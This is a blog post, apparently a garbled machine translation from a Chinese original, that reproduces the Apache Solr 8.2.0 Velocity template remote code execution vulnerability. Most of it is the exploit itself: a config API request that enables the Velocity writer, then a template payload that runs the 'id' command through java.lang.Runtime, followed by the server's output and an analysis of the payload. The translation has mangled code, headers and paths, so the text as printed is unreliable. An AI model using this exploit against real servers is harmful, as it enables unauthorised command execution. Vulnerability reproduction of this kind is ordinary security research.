ApacheのSolrの脆弱性の再現

 

 

 参考リンク:

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

https://lucene.apache.org/solr/guide/8_2/config-api.html

https://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip

 0x01の環境設定

C:\ Solrの-8.2.0 \ binに
λは8983 -p開始solr.cmd 
は、Java HotSpot(TM)64ビットサーバーVMの警告を:それはメモリ内のページのロックへの十分な権限を持っていないため、JVMはラージ・ページ・メモリーを使用することはできません。
デフォルトGBKを使用し、続けて、プロパティ「sun.stderr.encoding」の文字セット「cp65001」を取得できません。Solrには、ポート8983で実行されている見るために30まで待っ
ポート8983.ハッピー検索での開始のSolrサーバ!

C:\ Solrの-8.2.0 \ binに
λsolr.cmdは-c test111の作成
警告:データ駆動型のスキーマ機能と_defaultのconfigsetを使用します。本番使用はお勧めしません。
オフにするには:ビン\ Solrの設定-c test111 -p 8983 -actionセットユーザプロパティ-property update.autoCreateFields -値はfalseを
デフォルトGBKを使用し、続けて、プロパティ「sun.stderr.encoding」の文字セット「cp65001」を取得できません。

作成した新しいコア'test111' 

C:\ Solrの-8.2.0 \ binに

 

 0x02のテストペイロード

 

最初の要求を送信します

POST / Solrの/ test111 / configにHTTP / 1.1 
ホスト:Solrの:8983 
のContent-Type:アプリケーション/ JSONの
コンテンツの長さ:259 

{ 
"更新queryresponsewriter":{ 
"スタートアップ": "怠惰"、
"名": "速度" 、
"クラス": "solr.VelocityResponseWriter"、
"template.base.dir": ""、
"solr.resource.loader.enabled": "真"、
"params.resource.loader.enabled": ""真
} 
}

 

HTTP / 1.1 200 OK 
のContent-Type:text / plainの;のcharset = UTF-8 
のContent-Length:150 

{ 
"responseHeader":{ 
"ステータス":0、
"QTIME":9574}、
"警告":「この応答フォーマット実験的である。これは、将来的に変更される可能性があります。 "}

 

第2の要求を送ります

/solr/test111/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27javaをGET。 lang.Runtimeの%27))+%23set($ CHR = $ x.class.forName(%27java.lang.Character%27))+%23set($ STR = $ x.class.forName(%の27java.lang。文字列%27))+%23set($元= $ rt.getRuntime()。execの(%27id%27))+ $ ex.waitFor()+%23set($アウト= $ ex.getInputStream())+% 23foreach(+で$ I + [1 .. $ out.available()])$ str.valueOf($ chr.toChars($ out.read()))%23end HTTP / 1.1 
ホスト:ローカルホスト:8983

 

HTTP / 1.1 200 OK 
のContent-Type:text / htmlの;のcharset = UTF-8 のContent-Length:58 0 UID = 197608(lzhd24)GID = 197121基= 197121

 

 0x03のペイロード解析

#set($ X = '' 
の#set($ RT = $ X。クラス .forName( 'java.lang.Runtime' ))
の#set($ CHR = $ X。クラス .forName( 'java.lang.Characterの' ))
の#set($ STR = $ X。クラス .forName(' java.lang.Stringで」))
の#set($ EX = $ rt.getRuntime()。EXEC( 'ID'))+ $ ex.waitFor ()
の#set($アウト = $ ex.getInputStream())
#foreach($ I +で+ [1 .. $ out.available()])$ str.valueOf($ chr.toChars($ out.read() ))
#END

 

 

おすすめ

転載: www.cnblogs.com/lzhd24/p/11829693.html